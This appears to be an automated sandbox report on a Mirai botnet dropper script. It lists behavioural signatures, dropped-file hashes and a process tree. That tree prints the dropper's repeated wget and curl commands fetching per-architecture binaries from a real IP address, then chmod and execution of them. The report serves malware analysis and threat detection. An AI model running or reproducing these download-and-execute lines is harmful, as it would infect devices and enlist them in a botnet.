Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/07/2026, 09:06

General

  • Target
    HMugenXrevamped.sh
  • Size 2KB
  • Sample260712-k232sahs6v
  • SHA256 d94f32c60d0f1372133abe7e627a5b09373546d96828a45a9025a6c3b18022e9
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 3 IoCs
  • Executes dropped EXE 11 IoCs
  • Modifies Watchdog functionality 1 TTPs 6 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 11 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to shm directory 2 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/HMugenXrevamped.sh
    /tmp/HMugenXrevamped.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:651
    • /usr/bin/wget
      wget http://45.90.163.37/GoonGang/XDx86
      2⤵
      • Writes file to tmp directory
      PID:657
    • /usr/bin/curl
      curl -O http://45.90.163.37/GoonGang/XDx86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:677
    • /bin/cat
      cat XDx86
      2⤵
        PID:680
      • /bin/chmod
        chmod +x haha HMugenXrevamped.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-l8EFUd XDx86
        2⤵
        • File and Directory Permissions Modification
        PID:681
      • /tmp/haha
        ./haha
        2⤵
          PID:682
        • /usr/bin/wget
          wget http://45.90.163.37/GoonGang/XDmips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:684
        • /usr/bin/curl
          curl -O http://45.90.163.37/GoonGang/XDmips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:685
        • /bin/cat
          cat XDmips
          2⤵
          • System Network Configuration Discovery
          PID:686
        • /bin/chmod
          chmod +x haha HMugenXrevamped.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-l8EFUd XDmips XDx86
          2⤵
          • File and Directory Permissions Modification
          PID:687
        • /tmp/haha
          ./haha
          2⤵
            PID:688
          • /usr/bin/wget
            wget http://45.90.163.37/GoonGang/XDarc
            2⤵
            • Writes file to tmp directory
            PID:690
          • /usr/bin/curl
            curl -O http://45.90.163.37/GoonGang/XDarc
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:697
          • /bin/cat
            cat XDarc
            2⤵
              PID:737
            • /bin/chmod
              chmod +x haha HMugenXrevamped.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-l8EFUd XDarc XDmips XDx86
              2⤵
              • File and Directory Permissions Modification
              PID:738
            • /tmp/haha
              ./haha
              2⤵
                PID:739
              • /usr/bin/wget
                wget http://45.90.163.37/GoonGang/XDi468
                2⤵
                  PID:741
                • /usr/bin/curl
                  curl -O http://45.90.163.37/GoonGang/XDi468
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:742
                • /bin/cat
                  cat XDi468
                  2⤵
                    PID:749
                  • /bin/chmod
                    chmod +x haha HMugenXrevamped.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-l8EFUd XDarc XDi468 XDmips XDx86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:751
                  • /tmp/haha
                    ./haha
                    2⤵
                      PID:753
                    • /usr/bin/wget
                      wget http://45.90.163.37/GoonGang/XDi686
                      2⤵
                      • Writes file to tmp directory
                      PID:754
                    • /usr/bin/curl
                      curl -O http://45.90.163.37/GoonGang/XDi686
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:765
                    • /bin/cat
                      cat XDi686
                      2⤵
                        PID:777
                      • /bin/chmod
                        chmod +x haha HMugenXrevamped.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-l8EFUd XDarc XDi468 XDi686 XDmips XDx86
                        2⤵
                        • File and Directory Permissions Modification
                        PID:779
                      • /tmp/haha
                        ./haha
                        2⤵
                          PID:780
                        • /usr/bin/wget
                          wget http://45.90.163.37/GoonGang/XDx86_64
                          2⤵
                          • Writes file to tmp directory
                          PID:782
                        • /usr/bin/curl
                          curl -O http://45.90.163.37/GoonGang/XDx86_64
                          2⤵
                          • Checks CPU configuration
                          • Writes file to tmp directory
                          PID:783
                        • /bin/cat
                          cat XDx86_64
                          2⤵
                            PID:784
                          • /bin/chmod
                            chmod +x haha HMugenXrevamped.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-l8EFUd XDarc XDi468 XDi686 XDmips XDx86 XDx86_64
                            2⤵
                            • File and Directory Permissions Modification
                            PID:785
                          • /tmp/haha
                            ./haha
                            2⤵
                              PID:786
                            • /usr/bin/wget
                              wget http://45.90.163.37/GoonGang/XDmpsl
                              2⤵
                              • Writes file to tmp directory
                              PID:788
                            • /usr/bin/curl
                              curl -O http://45.90.163.37/GoonGang/XDmpsl
                              2⤵
                              • Checks CPU configuration
                              • Writes file to tmp directory
                              PID:789
                            • /bin/cat
                              cat XDmpsl
                              2⤵
                                PID:790
                              • /bin/chmod
                                chmod +x haha HMugenXrevamped.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-l8EFUd XDarc XDi468 XDi686 XDmips XDmpsl XDx86 XDx86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:791
                              • /tmp/haha
                                ./haha
                                2⤵
                                  PID:792
                                • /usr/bin/wget
                                  wget http://45.90.163.37/GoonGang/XDarm
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:794
                                • /usr/bin/curl
                                  curl -O http://45.90.163.37/GoonGang/XDarm
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:824
                                • /bin/cat
                                  cat XDarm
                                  2⤵
                                    PID:826
                                  • /bin/chmod
                                    chmod +x haha HMugenXrevamped.sh XDarc XDarm XDi468 XDi686 XDmips XDmpsl XDx86 XDx86_64
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:827
                                  • /tmp/haha
                                    ./haha
                                    2⤵
                                    • Deletes itself
                                    • Modifies Watchdog functionality
                                    • Changes its process name
                                    • Reads runtime system information
                                    • Writes file to shm directory
                                    PID:828
                                  • /usr/bin/wget
                                    wget http://45.90.163.37/GoonGang/XDarm5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:830
                                  • /usr/bin/curl
                                    curl -O http://45.90.163.37/GoonGang/XDarm5
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:834
                                  • /bin/cat
                                    cat XDarm5
                                    2⤵
                                      PID:835
                                    • /bin/chmod
                                      chmod +x haha HMugenXrevamped.sh XDarc XDarm XDarm5 XDi468 XDi686 XDmips XDmpsl XDx86 XDx86_64
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:836
                                    • /tmp/haha
                                      ./haha
                                      2⤵
                                      • Deletes itself
                                      • Modifies Watchdog functionality
                                      • Changes its process name
                                      • Reads runtime system information
                                      • Writes file to shm directory
                                      PID:837
                                    • /usr/bin/wget
                                      wget http://45.90.163.37/GoonGang/XDarm6
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:839
                                    • /usr/bin/curl
                                      curl -O http://45.90.163.37/GoonGang/XDarm6
                                      2⤵
                                      • Checks CPU configuration
                                      • Writes file to tmp directory
                                      PID:844
                                    • /bin/cat
                                      cat XDarm6
                                      2⤵
                                        PID:848
                                      • /bin/chmod
                                        chmod +x haha HMugenXrevamped.sh XDarc XDarm XDarm5 XDarm6 XDi468 XDi686 XDmips XDmpsl XDx86 XDx86_64
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:849
                                      • /tmp/haha
                                        ./haha
                                        2⤵
                                        • Reads runtime system information
                                        PID:850
                                      • /usr/bin/wget
                                        wget http://45.90.163.37/GoonGang/XDarm7
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:851
                                      • /usr/bin/curl
                                        curl -O http://45.90.163.37/GoonGang/XDarm7
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:852
                                      • /bin/cat
                                        cat XDarm7
                                        2⤵
                                          PID:853
                                        • /bin/chmod
                                          chmod +x haha HMugenXrevamped.sh XDarc XDarm XDarm5 XDarm6 XDarm7 XDi468 XDi686 XDmips XDmpsl XDx86 XDx86_64
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:854
                                        • /tmp/haha
                                          ./haha
                                          2⤵
                                          • Deletes itself
                                          • Modifies Watchdog functionality
                                          • Reads runtime system information
                                          PID:855

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

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                                            Downloads

                                            .comm

                                            • Path /dev/shm/.comm
                                            • Size 4B
                                            • SHA256 d1c5ee908b9b1850bf789868a3fbfc38e4bfeb90a5e23d2ed0d8885c977c6f06
                                            • MD5 SHA1 SHA512

                                            .comm

                                            • Path /dev/shm/.comm
                                            • Size 10B
                                            • SHA256 0753abab95953b40a7fa5628ef9f9e1c30d965adb4816327c2d06470882c694f
                                            • MD5 SHA1 SHA512

                                            XDarc

                                            • Path /tmp/XDarc
                                            • Size 105KB
                                            • SHA256 dbffb6c37db2d069f5a3920f4c2eac4d2bf04321ec5920d7fa9adcf037f95fb8
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            XDarm

                                            • Path /tmp/XDarm
                                            • Size 34KB
                                            • SHA256 b17eafa26e49131f35a803e31884d20990edd70f57e198434988627b7360267d
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            XDarm5

                                            • Path /tmp/XDarm5
                                            • Size 33KB
                                            • SHA256 4e984e6d85e918310954b0607ed63354c2385dcfe736c06bb8b4e80bf5b31a9b
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            XDarm6

                                            • Path /tmp/XDarm6
                                            • Size 37KB
                                            • SHA256 83d866a2c3640eb8edebd26b2258c52c0fc55eb583235c5756dbb75413d9155b
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            XDi468

                                            • Path /tmp/XDi468
                                            • Size 213B
                                            • SHA256 b536967ed761ed3e6a050d054f20a4886444b6ad7b7c0adb5ab0cd61c635ce4d
                                            • MD5 SHA1 SHA512 TLSH

                                            XDi686

                                            • Path /tmp/XDi686
                                            • Size 34KB
                                            • SHA256 cf8e07fc5dc89f86e39373e9b5c593f91b8ec737c635390b65a8182d1b883a85
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            XDmips

                                            • Path /tmp/XDmips
                                            • Size 36KB
                                            • SHA256 3eb84b562b448b6833cb2636ad8ad32370b4ed45839349d7845ff71f6dd874e7
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            XDmpsl

                                            • Path /tmp/XDmpsl
                                            • Size 37KB
                                            • SHA256 475bb3556cb1168275bb79d42656d15644a28f9620de4a22a261b23396990dc9
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            XDx86

                                            • Path /tmp/XDx86
                                            • Size 33KB
                                            • SHA256 001a1c23a494756f8aa26b53e297fa2752108378feaed654a8c21008fd479b8a
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            XDx86_64

                                            • Path /tmp/XDx86_64
                                            • Size 35KB
                                            • SHA256 599e66112d62a73a65adf7eac19254639a532131a08489ceb20132c30767ebd8
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            haha

                                            • Path /tmp/haha
                                            • Size 59KB
                                            • SHA256 56182524f8086b409cfb3f149690218e5b4c94d3e7fadd95062cd7fd2c125b1f
                                            • MD5 SHA1 SHA512 SSDEEP TLSH